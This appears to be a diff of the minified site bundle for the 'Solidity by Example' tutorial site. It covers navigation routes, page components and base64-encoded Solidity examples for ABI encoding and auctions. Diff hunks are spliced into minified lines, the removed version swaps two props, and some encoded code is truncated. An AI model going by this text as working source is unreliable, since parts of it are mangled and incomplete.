Arbitrage"},{path:"chainlink-price-oracle",title:"Chainlink Price Oracle"},{path:"dai-proxy",title:"DAI Proxy"},{path:"staking-rewards",title:"Staking Rewards"},{path:"discrete-staking-rewards",title:"Discrete Staking Rewards"},{path:"vault",title:"Vault"},{path:"constant-sum-amm",title:"Constant Sum AMM"},{path:"constant-product-amm",title:"Constant Product AMM"},{path:"stable-swap-amm",title:"Stable Swap AMM"}],rt=[{title:"",routes:Od.map(s=>({...s,path:`/${s.path}`}))},{title:"Applications",routes:Pd.map(s=>({...s,path:`/app/${s.path}`}))},{title:"Hacks",routes:$d.map(s=>({...s,path:`/hacks/${s.path}`}))},{title:"EVM",routes:qd.map(s=>({...s,path:`/evm/${s.path}`}))},{title:"Tests",routes:sC.map(s=>({...s,path:`/tests/${s.path}`}))},{title:"Foundry",routes:aC.map(s=>({...s,path:`/foundry/${s.path}`}))},{title:"DeFi",routes:nC.map(s=>({...s,path:`/defi/${s.path}`}))}],jp=rt.map(({routes:s})=>s).flat(),lC=jp.reduce((s,a,n)=>(s[a.path]=n,s),{});function pC(s){const a=lC[s];if(a>=0){const n=jp[a-1]||null,l=jp[a+1]||null;return{prev:n,next:l}}return{prev:null,next:null}}const eC=({onClick:s})=>{const a=Kp();function n(l,p){l.preventDefault(),s(p)}return r.jsxs(r.Fragment,{children:[r.jsx("h3",{className:xa.category,children:"Basic"}),rt.map(({routes:l,title:p},e)=>r.jsxs("div",{children:[p&&r.jsx("h3",{className:xa.title,children:p}),r.jsx("ul",{className:xa.list,children:l.map(({path:c,title:t})=>{const o=!!oc(c,a.pathname);return r.jsx("li",{className:o?xa.listItemActive:xa.listItem,children:r.jsx("a",{className:xa.link,href:c,onClick:i=>n(i,c),children:t})},c)})})]},e))]})},cC=({size:s,className:a="",onClick:n})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 20 20",strokeWidth:2,stroke:"currentColor",className:a,width:s,height:s,onClick:n,children:r.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6.75h16.5M3.75 12h16.5m-16.5 5.25h16.5"})}),tC="_component_1l8rc_1",oC="_a_1l8rc_14",rC="_center_1l8rc_18",iC="_centerInner_1l8rc_25",gC="_logo_1l8rc_31",hC="_header_1l8rc_35",IC="_mode_1l8rc_40",dC="_hamburger_1l8rc_46",Es={component:tC,a:oC,center:rC,centerInner:iC,logo:gC,header:hC,mode:IC,hamburger:dC},CC=({size:s,className:a=""})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"#fff",viewBox:"0 0 438.277 438.277",width:s,height:s,className:a,children:r.jsx("path",{d:"M428.756 300.104c-.664-3.81-2.334-7.047-4.996-9.713-5.9-5.903-12.752-7.142-20.554-3.716-20.937 9.708-42.641 14.558-65.097 14.558-28.171 0-54.152-6.94-77.943-20.838-23.791-13.894-42.631-32.736-56.525-56.53-13.899-23.793-20.844-49.773-20.844-77.945 0-21.888 4.333-42.683 12.991-62.384 8.66-19.7 21.176-36.973 37.543-51.82 6.283-5.898 7.713-12.752 4.287-20.557-3.236-7.801-9.041-11.511-17.415-11.132-29.121 1.141-56.72 7.664-82.797 19.556C111.33 31.478 88.917 47.13 70.168 66.548c-18.747 19.414-33.595 42.399-44.54 68.95-10.942 26.553-16.416 54.39-16.416 83.511 0 29.694 5.806 58.054 17.416 85.082 11.613 27.028 27.218 50.344 46.824 69.949 19.604 19.599 42.92 35.207 69.951 46.822 27.028 11.607 55.384 17.415 85.075 17.415 42.64 0 81.987-11.563 118.054-34.69 36.069-23.124 63.05-54.006 80.944-92.645 1.524-3.423 1.951-7.036 1.28-10.838zm-122.191 84.064c-24.646 11.711-50.676 17.562-78.087 17.562-24.743 0-48.39-4.853-70.947-14.558-22.554-9.705-41.971-22.695-58.246-38.972-16.271-16.272-29.259-35.686-38.97-58.241-9.707-22.556-14.561-46.203-14.561-70.948 0-40.922 12.135-77.466 36.403-109.636 24.266-32.165 55.531-53.959 93.788-65.379-19.795 31.405-29.694 65.379-29.694 101.926 0 34.644 8.564 66.715 25.697 96.223 17.128 29.499 40.446 52.811 69.95 69.948 29.499 17.129 61.565 25.694 96.211 25.694 10.656 0 21.129-.855 31.408-2.57-17.318 20.938-38.307 37.255-62.952 48.951z"})}),jC=({size:s,className:a=""})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 302.4 302.4",width:s,height:s,className:a,children:[r.jsx("path",{d:"M204.8 97.6C191.2 84 172 75.2 151.2 75.2s-40 8.4-53.6 22.4c-13.6 13.6-22.4 32.8-22.4 53.6s8.8 40 22.4 53.6c13.6 13.6 32.8 22.4 53.6 22.4s40-8.4 53.6-22.4c13.6-13.6 22.4-32.8 22.4-53.6s-8.4-40-22.4-53.6zm-14.4 92.8c-10 10-24 16-39.2 16s-29.2-6-39.2-16-16-24-16-39.2 6-29.2 16-39.2 24-16 39.2-16 29.2 6 39.2 16 16 24 16 39.2-6 29.2-16 39.2z",stroke:"#252519",strokeWidth:12}),r.jsx("path",{d:"M292 140.8h-30.8c-5.6 0-10.4 4.8-10.4 10.4 0 5.6 4.8 10.4 10.4 10.4H292c5.6 0 10.4-4.8 10.4-10.4 0-5.6-4.8-10.4-10.4-10.4zm-140.8 110c-5.6 0-10.4 4.8-10.4 10.4V292c0 5.6 4.8 10.4 10.4 10.4 5.6 0 10.4-4.8 10.4-10.4v-30.8c0-5.6-4.8-10.4-10.4-10.4zm106.8-7.2-22-22c-3.6-4-10.4-4-14.4 0s-4 10.4 0 14.4l22 22c4 4 10.4 4 14.4 0s4-10.4 0-14.4zM151.2 0c-5.6 0-10.4 4.8-10.4 10.4v30.8c0 5.6 4.8 10.4 10.4 10.4 5.6 0 10.4-4.8 10.4-10.4V10.4c0-5.6-4.8-10.4-10.4-10.4zm107.2 44.4c-4-4-10.4-4-14.4 0l-22 22c-4 4-4 10.4 0 14.4 3.6 4 10.4 4 14.4 0l22-22c4-4 4-10.4 0-14.4zM41.2 140.8H10.4c-5.6 0-10.4 4.8-10.4 10.4s4.4 10.4 10.4 10.4h30.8c5.6 0 10.4-4.8 10.4-10.4 0-5.6-4.8-10.4-10.4-10.4zm39.2 80.8c-3.6-4-10.4-4-14.4 0l-22 22c-4 4-4 10.4 0 14.4s10.4 4 14.4 0l22-22c4-4 4-10.4 0-14.4zm0-155.2-22-22c-4-4-10.4-4-14.4 0s-4 10.4 0 14.4l22 22c4 4 10.4 4 14.4 0s4-10.4 0-14.4z",stroke:"#252519",strokeWidth:5})]}),AC=({size:s,className:a="",fill:n})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1300 1300",xmlSpace:"preserve",width:s,height:s,className:a,fill:n,children:[r.jsx("path",{opacity:.45,d:"M773.772 253.308 643.068 485.61H381.842l130.614-232.302h261.316"}),r.jsx("path",{opacity:.6,d:"M643.068 485.61h261.318L773.772 253.308H512.456L643.068 485.61z"}),r.jsx("path",{opacity:.8,d:"M512.456 717.822 643.068 485.61 512.456 253.308 381.842 485.61l130.614 232.212z"}),r.jsx("path",{opacity:.45,d:"m513.721 1066.275 130.704-232.303h261.318l-130.705 232.303H513.721"}),r.jsx("path",{opacity:.6,d:"M644.424 833.973H383.107l130.613 232.303h261.317L644.424 833.973z"}),r.jsx("path",{opacity:.8,d:"M775.038 601.761 644.424 833.973l130.614 232.303 130.704-232.303-130.704-232.212z"})]}),uC="/assets/powered-by-cyfrin-CPb_54II.png",yC="_component_12cj2_1",mC={component:yC},bC=()=>r.jsx("a",{target:"__blank",href:"https://www.cyfrin.io/",children:r.jsx("img",{src:uC,alt:"Powered by Cyfrin",className:mC.component})});function wC(){const{state:s,setTheme:a,toggleSideNav:n}=tt();function l(){a(s.theme=="light"?"dark":"light")}return r.jsxs("div",{className:Es.component,children:[r.jsx(cC,{size:20,className:Es.hamburger,onClick:n}),r.jsxs("div",{className:Es.center,children:[r.jsxs("div",{className:Es.centerInner,children:[r.jsx("a",{href:"/",className:Es.a,children:r.jsx(AC,{className:Es.logo,size:30,fill:s.theme=="dark"?"rgb(0, 255, 0)":"currentColor"})}),r.jsx("h3",{className:Es.header,children:r.jsx("a",{href:"/",className:Es.a,children:"Solidity by Example"})})]}),r.jsx(bC,{})]}),r.jsx("button",{className:Es.mode,onClick:l,children:s.theme=="dark"?r.jsx(CC,{size:20}):r.jsx(jC,{size:20})})]})}const kC="_component_o1tj5_1",ZC="_row_o1tj5_8",WC="_bar_o1tj5_13",GC="_to_o1tj5_21",BC="_social_o1tj5_24",fC="_updraft_o1tj5_29",VC="_telegram_o1tj5_34",YC="_discord_o1tj5_38",XC="_youTube_o1tj5_42",us={component:kC,row:ZC,bar:WC,to:GC,social:BC,updraft:fC,telegram:VC,discord:YC,youTube:XC},hg="/assets/updraft-D5eZlzRj.png",Ig="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEcAAAAyCAYAAAAOX8ZtAAAABmJLR0QA/wD/AP+gvaeTAAADmUlEQVRoge3bT2wUZRjH8c9Ml39S09IC/uFiRBIwabzVE15oiJBwLBcP3npS4E4IBA/EAwmcCInhoCeJNwgQoDGRC8GESMDYhJRyUAQplZa2tBYdD+9suqmsadHO+6J8kzd5Z3Znnt/+9p1ndt593swCKViFV7EWK8vWjpewouyvLLdfLg9rxZKG0ywt39NIOzL8gdE5r42W++uMY6bs/4pJTOARxsr+RHncOO7hbsbjhXzWrNkLBcvxPt5FF97Ga8L+55VR/Ijv8R0u45uM3+d9hoK+gnsFxf+g3S74cD6mrCj4PAHBMdpXRUgLTc35IgGRMduXzYz5OAFxKbSP6p5kpTHtuI22eSem/y4P8UbGaF7u6PXCmDrtgh/q5vTE05IkPcya0x1RSIp0Q1aEy+lhZDEpsirH+tgqEmV9jjdjq0iUt3Ksi60iUdbl6Kw05NatrFlTachnpDPH6kpD7tjBrVscOMCyZZWGXiCrqzcHWlvZv5/r1+ntrTz8POms/rJqZMMGTp7k4kW6uqLJaMLqHB2xVdiyhatXOX48pXzUmQvTmfGp1ejrY2CA3bvDdlyW50grK3Z0cORIyEfbtsVUsjQ9c+ps3MiZM1y4wKZNMRQsS9ecOj09XLvG0aO0VTqrkvDIaWTJEnbtYnAw5KOWliqiPgcjp5HOzpCPrlxh8+bFjrY0R7HYUZ5Tshy/xVYxb4aH2bOH7m4uXVrsaFM1TEvlt04zZmY4dox9+xgbqyrqdN2cdDl9OoyWwcGqI0/nUjVnYIDt28NTfPXGkKQ5IyNhpHR1cfZsTCVTNaF8Iz5PnnDiBHv3hsQbn6kaRmKr0N8fRsuNG7GVNDKcI97XdPMmO3eGR4S0jIHhmhjmjI9z+DCHDjGdVsprIII5p05x8CD371ca9hl4UMODSkOeP19puH/AcI47sVUkys85bsVWkSiDLwoJmtOWZ6H8dCi2ksQYyhir1+dciSolPb5ltnipP6KQFPmaFwWTT+ORUDA5kkMWEvIncTUlw6fZ3OfNgpaCUwnUAcds/QVP/6u1YHnBZwmIjNHOFbOrfJpT8EHBUAKCq2h3i1C9n8/14e+WFLXgPWFJ0TvCkqLXxajn+fd4jJ/wg7Cs6DLOZU1mQ5ua04wi/Am4Fq8Id7lWs4vSVjX0W4W7X17GaZ9zqvriszr19xb++ov9EZ40bD/GVNkfFWYzJ8vjJsp+fWHaJH7BnSzsmzd/AkgxNaTAmykLAAAAAElFTkSuQmCC",RC="/assets/telegram-DMavHjFx.png",vC="/assets/discord-BqSoMD3G.png";function NC(){return r.jsxs("div",{className:us.component,children:[r.jsxs("div",{className:us.row,children:[r.jsx("img",{src:hg,alt:"cyfrin",className:us.updraft}),r.jsx("a",{href:"https://updraft.cyfrin.io",target:"__blank",children:"Cyfrin Updraft"})]}),r.jsxs("div",{className:us.social,children:[r.jsxs("div",{className:us.row,children:[r.jsx("img",{src:vC,alt:"discord",className:us.discord}),r.jsx("a",{href:"https://discord.gg/bt8FK2wkcW",target:"__blank",children:"Discord"})]}),r.jsxs("div",{className:us.row,children:[r.jsx("img",{src:RC,alt:"telegram",className:us.telegram}),r.jsx("a",{href:"https://t.me/smartcontractprogrammer",target:"__blank",children:"Telegram"})]}),r.jsxs("div",{className:us.row,children:[r.jsx("img",{src:Ig,alt:"youtube",className:us.youTube}),r.jsx("a",{href:"https://www.youtube.com/channel/UCJWh7F3AFyQ_x01VKzr9eyA",target:"__blank",children:"YouTube"})]})]}),r.jsx("div",{className:us.row,children:r.jsx("a",{href:"mailto:contact@solidity-by-example.org",children:"contact@solidity-by-example.org"})}),r.jsxs("div",{className:us.row,children:[r.jsx("a",{href:"https://github.com/Cyfrin/solidity-by-example.github.io",target:"__blank",children:"source"}),r.jsx("div",{className:us.bar,children:"|"}),r.jsx("a",{href:"https://github.com/Cyfrin/solidity-by-example.github.io/blob/gh-pages/LICENSE",target:"__blank",children:"license"})]})]})}const HC=({children:s})=>{const{state:a}=tt(),n=W.useRef(null);W.useLayoutEffect(()=>{n.current&&(n.current.scrollTop=parseInt(sessionStorage.getItem("scroll")||"0")||0)},[]);function l(p){var e;sessionStorage.setItem("scroll",(((e=n.current)==null?void 0:e.scrollTop)||0).toString()),window.location.href=p}return r.jsxs("div",{className:Xl.component,children:[r.jsx("div",{ref:n,className:Xl.sideNav,style:a.sideNav?{width:"var(--side-nav-width)",padding:"20px 10px 60px 10px"}:{width:0},children:a.sideNav?r.jsx(eC,{onClick:l}):null}),r.jsxs("div",{className:Xl.main,children:[r.jsx(wC,{}),r.jsxs("div",{className:Xl.children,children:[s,r.jsx(NC,{})]})]})]})},dg=({title:s,description:a,cyfrinLink:n})=>(W.useEffect(()=>{document.title=s;const l=document.querySelector("meta[name='description']");if(l&&l.setAttribute("content",a),n){const p=document.createElement("link");p.rel="canonical",p.href=n,document.head.appendChild(p)}},[]),null),Yo=' ',KC='';function FC(s=[]){W.useEffect(()=>{const a=p=>{try{const e=document.createElement("textarea");e.setAttribute("style","width:1px;border:0;opacity:0;"),document.body.appendChild(e),navigator.clipboard.writeText(p.innerText),document.body.removeChild(e)}catch(e){console.error(e)}},n=[];return document.querySelectorAll("pre").forEach(p=>{var i;if(((i=p.parentElement)==null?void 0:i.className)=="copy-wrapper")return;const e=document.createElement("div");e.className="copy-wrapper",p.parentElement.insertBefore(e,p),e.appendChild(p);const c=document.createElement("button");c.className="copy",c.title="Copy",c.innerHTML=Yo,c.ariaLabel="Copy to clipboard",p.after(c);function t(I){I.preventDefault(),a(p.childNodes[0]),c.innerHTML=KC}function o(I){I.preventDefault(),c.innerHTML=Yo}c.addEventListener("click",t),c.addEventListener("blur",o),n.push(()=>{c.removeEventListener("click",t),c.removeEventListener("blur",o)})}),()=>{for(let p=0;p(FC([]),r.jsx("div",{className:`code ${s}`,dangerouslySetInnerHTML:{__html:a}})),SC="_component_17lfp_1",xC="_content_17lfp_5",JC="_cyfrinLink_17lfp_8",zC="_prevNext_17lfp_11",Rl={component:SC,content:xC,cyfrinLink:JC,prevNext:zC},A=({title:s,version:a,description:n,cyfrinLink:l,html:p,prev:e,next:c,codes:t})=>r.jsxs("div",{className:Rl.component,children:[r.jsx(dg,{title:`${s} | Solidity by Example | ${a}`,description:n,cyfrinLink:l}),r.jsxs("div",{className:Rl.content,children:[r.jsx("h2",{children:s}),l?r.jsxs("div",{className:Rl.cyfrinLink,children:["For the most up to date version of this content, please see"," ",r.jsxs("a",{href:l,target:"__blank",children:[s," (Code Example)"]})," ","on Cyfrin.io"]}):null,r.jsx(MC,{html:p}),r.jsxs("div",{className:Rl.prevNext,children:[e&&r.jsxs("a",{href:e.path,children:["< ",e.title]}),c&&r.jsxs("a",{href:c.path,children:[c.title," >"]})]}),r.jsx("h3",{children:"Try on Remix"}),r.jsx("ul",{children:t.map(({fileName:o,code:i},I)=>r.jsx("li",{children:r.jsx("a",{href:`https://remix.ethereum.org/?#code=${i}`,target:"_blank",rel:"noreferrer",children:o})},I))})]})]}),DC="0.8.26",EC="ABI Decode",QC="ABI decode bytes",TC="https://www.cyfrin.io/glossary/abi-decode-solidity-code-example",LC=[{fileName:"AbiDecode.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEFiaURlY29kZSB7CiAgICBzdHJ1Y3QgTXlTdHJ1Y3QgewogICAgICAgIHN0cmluZyBuYW1lOwogICAgICAgIHVpbnQyNTZbMl0gbnVtczsKICAgIH0KCiAgICBmdW5jdGlvbiBlbmNvZGUoCiAgICAgICAgdWludDI1NiB4LAogICAgICAgIGFkZHJlc3MgYWRkciwKICAgICAgICB1aW50MjU2W10gY2FsbGRhdGEgYXJyLAogICAgICAgIE15U3RydWN0IGNhbGxkYXRhIG15U3RydWN0CiAgICApIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGFiaS5lbmNvZGUoeCwgYWRkciwgYXJyLCBteVN0cnVjdCk7CiAgICB9CgogICAgZnVuY3Rpb24gZGVjb2RlKGJ5dGVzIGNhbGxkYXRhIGRhdGEpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoCiAgICAgICAgICAgIHVpbnQyNTYgeCwKICAgICAgICAgICAgYWRkcmVzcyBhZGRyLAogICAgICAgICAgICB1aW50MjU2W10gbWVtb3J5IGFyciwKICAgICAgICAgICAgTXlTdHJ1Y3QgbWVtb3J5IG15U3RydWN0CiAgICAgICAgKQogICAgewogICAgICAgIC8vICh1aW50IHgsIGFkZHJlc3MgYWRkciwgdWludFtdIG1lbW9yeSBhcnIsIE15U3RydWN0IG15U3RydWN0KSA9IC4uLgogICAgICAgICh4LCBhZGRyLCBhcnIsIG15U3RydWN0KSA9CiAgICAgICAgICAgIGFiaS5kZWNvZGUoZGF0YSwgKHVpbnQyNTYsIGFkZHJlc3MsIHVpbnQyNTZbXSwgTXlTdHJ1Y3QpKTsKICAgIH0KfQo="}],UC=`

abi.encode encodes data into bytes.

abi.decode decodes bytes back into data.

// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.26;
@@ -99,7 +99,7 @@ Error generating stack: `+e.message+`
             abi.decode(data, (uint256, address, uint256[], MyStruct));
     }
 }
-
`,_C=({prev:s,next:a})=>r.jsx(A,{version:DC,title:EC,description:QC,cyfrinLink:TC,html:LC,prev:s,next:a,codes:UC}),OC="0.8.26",PC="ABI Encode",$C="ABI encode",qC="https://www.cyfrin.io/glossary/abi-encode-solidity-code-example",sj=[{fileName:"AbiEncode.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmludGVyZmFjZ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dG9yKElFUkMyMC50cmFuc2Zlci5zZWxlY3RvciwgdG8sIGFtb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZW5jb2RlQ2FsbChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlcyBtZW1vcnkpCiAgICB7CiAgICAgICAgLy8gVHlwbyBhbmQgdHlwZSBlcnJvcnMgd2lsbCBub3QgY29tcGlsZQogICAgICAgIHJldHVybiBhYmkuZW5jb2RlQ2FsbChJRVJDMjAudHJhbnNmZXIsICh0bywgYW1vdW50KSk7CiAgICB9Cn0K"}],aj=`
// SPDX-License-Identifier: MIT
+
`,_C=({prev:s,next:a})=>r.jsx(A,{version:DC,title:EC,description:QC,cyfrinLink:TC,html:UC,prev:s,next:a,codes:LC}),OC="0.8.26",PC="ABI Encode",$C="ABI encode",qC="https://www.cyfrin.io/glossary/abi-encode-solidity-code-example",sj=[{fileName:"AbiEncode.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IFRva2VuIHsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MsIHVpbnQyNTYpIGV4dGVybmFsIHt9Cn0KCmNvbnRyYWN0IEFiaUVuY29kZSB7CiAgICBmdW5jdGlvbiB0ZXN0KGFkZHJlc3MgX2NvbnRyYWN0LCBieXRlcyBjYWxsZGF0YSBkYXRhKSBleHRlcm5hbCB7CiAgICAgICAgKGJvb2wgb2ssKSA9IF9jb250cmFjdC5jYWxsKGRhdGEpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGVuY29kZVdpdGhTaWduYXR1cmUoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KQogICAgewogICAgICAgIC8vIFR5cG8gaXMgbm90IGNoZWNrZWQgLSAidHJhbnNmZXIoYWRkcmVzcywgdWludCkiCiAgICAgICAgcmV0dXJuIGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJ0cmFuc2ZlcihhZGRyZXNzLHVpbnQyNTYpIiwgdG8sIGFtb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZW5jb2RlV2l0aFNlbGVjdG9yKGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkKICAgIHsKICAgICAgICAvLyBUeXBlIGlzIG5vdCBjaGVja2VkIC0gKElFUkMyMC50cmFuc2Zlci5zZWxlY3RvciwgdHJ1ZSwgYW1vdW50KQogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKElFUkMyMC50cmFuc2Zlci5zZWxlY3RvciwgdG8sIGFtb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZW5jb2RlQ2FsbChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlcyBtZW1vcnkpCiAgICB7CiAgICAgICAgLy8gVHlwbyBhbmQgdHlwZSBlcnJvcnMgd2lsbCBub3QgY29tcGlsZQogICAgICAgIHJldHVybiBhYmkuZW5jb2RlQ2FsbChJRVJDMjAudHJhbnNmZXIsICh0bywgYW1vdW50KSk7CiAgICB9Cn0K"}],aj=`
// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.26;
 
 interface IERC20 {
@@ -1155,7 +1155,7 @@ Closing a channel when Alice and Bob do not agree on the final balances
         return abi.encodeWithSignature("setOwner(address)", _owner);
     }
 }
-
`,Ej=({prev:s,next:a})=>r.jsx(A,{version:Mj,title:Sj,description:xj,cyfrinLink:Jj,html:Dj,prev:s,next:a,codes:zj}),Qj="0.8.26",Tj="Dutch Auction",Uj="An example of Dutch auction in Solidity",Lj="https://www.cyfrin.io/glossary/dutch-auction-solidity-code-example",_j=[{fileName:"DutchAuction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmludGVyZmFjZSBJRVJDNzIxIHsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIF9mcm9tLCBhZGRyZXNzIF90bywgdWludDI1NiBfbmZ0SWQpCiAgICAgICAgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IER1dGNoQXVjdGlvbiB7CiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgRFVSQVRJT04gPSA3IGRheXM7CgogICAgSUVSQzcyMSBwdWJsaWMgaW1tdXRhYmxlIG5mdDsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBuZnRJZDsKCiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIGltbXV0YWJsZSBzZWxsZXI7CiAgICB1aW50MjU2IHB1YmxpYyBpbW11dGFibGUgc3RhcnRpbmdQcmljZTsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBzdGFydEF0OwogICAgdWludDI1NiBwdWJsaWMgaW1tdXRhYmxlIGV4cGlyZXNBdDsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBkaXNjb3VudFJhdGU7CgogICAgY29uc3RydWN0b3IoCiAgICAgICAgdWludDI1NiBfc3RhcnRpbmdQcmljZSwKICAgICAgICB1aW50MjU2IF9kaXNjb3VudFJhdGUsCiAgICAgICAgYWRkcmVzcyBfbmZ0LAogICAgIC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nNlbmRlciwgbmZ0SWQpOwogICAgICAgIHVpbnQyNTYgcmVmdW5kID0gbXNnLnZhbHVlIC0gcHJpY2U7CiAgICAgICAgaWYgKHJlZnVuZCA+IDApIHsKICAgICAgICAgICAgcGF5YWJsZShtc2cuc2VuZGVyKS50cmFuc2ZlcihyZWZ1bmQpOwogICAgICAgIH0KICAgICAgICBzZWxmZGVzdHJ1Y3Qoc2VsbGVyKTsKICAgIH0KfQo="}],Oj=`

Dutch auction for NFT.

+`,Ej=({prev:s,next:a})=>r.jsx(A,{version:Mj,title:Sj,description:xj,cyfrinLink:Jj,html:Dj,prev:s,next:a,codes:zj}),Qj="0.8.26",Tj="Dutch Auction",Lj="An example of Dutch auction in Solidity",Uj="https://www.cyfrin.io/glossary/dutch-auction-solidity-code-example",_j=[{fileName:"DutchAuction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmludGVyZmFjZSBJRVJDNzIxIHsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIF9mcm9tLCBhZGRyZXNzIF90bywgdWludDI1NiBfbmZ0SWQpCiAgICAgICAgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IER1dGNoQXVjdGlvbiB7CiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgRFVSQVRJT04gPSA3IGRheXM7CgogICAgSUVSQzcyMSBwdWJsaWMgaW1tdXRhYmxlIG5mdDsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBuZnRJZDsKCiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIGltbXV0YWJsZSBzZWxsZXI7CiAgICB1aW50MjU2IHB1YmxpYyBpbW11dGFibGUgc3RhcnRpbmdQcmljZTsKICAgIHVpbnQyNTYgcHVibGljIGltbXV0YWJsZSBzdGFydEF0OwogICAgdWludDI1NiBwdWJsaWMgaW1tdXRhYmxlIGV4cGlyZXNBd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zQXQsICJhdWN0aW9uIGV4cGlyZWQiKTsKCiAgICAgICAgdWludDI1NiBwcmljZSA9IGdldFByaWNlKCk7CiAgICAgICAgcmVxdWlyZShtc2cudmFsdWUgPj0gcHJpY2UsICJFVEggPCBwcmljZSIpOwoKICAgICAgICBuZnQudHJhbnNmZXJGcm9tKHNlbGxlciwgbXNnLnNlbmRlciwgbmZ0SWQpOwogICAgICAgIHVpbnQyNTYgcmVmdW5kID0gbXNnLnZhbHVlIC0gcHJpY2U7CiAgICAgICAgaWYgKHJlZnVuZCA+IDApIHsKICAgICAgICAgICAgcGF5YWJsZShtc2cuc2VuZGVyKS50cmFuc2ZlcihyZWZ1bmQpOwogICAgICAgIH0KICAgICAgICBzZWxmZGVzdHJ1Y3Qoc2VsbGVyKTsKICAgIH0KfQo="}],Oj=`

Dutch auction for NFT.

Auction

  1. Seller of NFT deploys this contract setting a starting price for the NFT.
  2. @@ -1224,7 +1224,7 @@ Closing a channel when Alice and Bob do not agree on the final balances selfdestruct(seller); } } -`,Pj=({prev:s,next:a})=>r.jsx(A,{version:Qj,title:Tj,description:Uj,cyfrinLink:Lj,html:Oj,prev:s,next:a,codes:_j}),$j="0.8.26",qj="English Auction",sA="An example of English auction in Solidity",aA="https://www.cyfrin.io/glossary/english-auction-solidity-code-example",nA=[{fileName:"EnglishAuction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmludGVyZmFjZSBJRVJDNzIxIHsKICAgIGZ1bmN0aW9uIHNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50MjU2IHRva2VuSWQpCiAgICAgICAgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcywgYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IEVuZ2xpc2hBdWN0aW9uIHs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lbmRBdCwgIm5vdCBlbmRlZCIpOwogICAgICAgIHJlcXVpcmUoIWVuZGVkLCAiZW5kZWQiKTsKCiAgICAgICAgZW5kZWQgPSB0cnVlOwogICAgICAgIGlmIChoaWdoZXN0QmlkZGVyICE9IGFkZHJlc3MoMCkpIHsKICAgICAgICAgICAgbmZ0LnNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyh0aGlzKSwgaGlnaGVzdEJpZGRlciwgbmZ0SWQpOwogICAgICAgICAgICBzZWxsZXIudHJhbnNmZXIoaGlnaGVzdEJpZCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgbmZ0LnNhZmVUcmFuc2ZlckZyb20oYWRkcmVzcyh0aGlzKSwgc2VsbGVyLCBuZnRJZCk7CiAgICAgICAgfQoKICAgI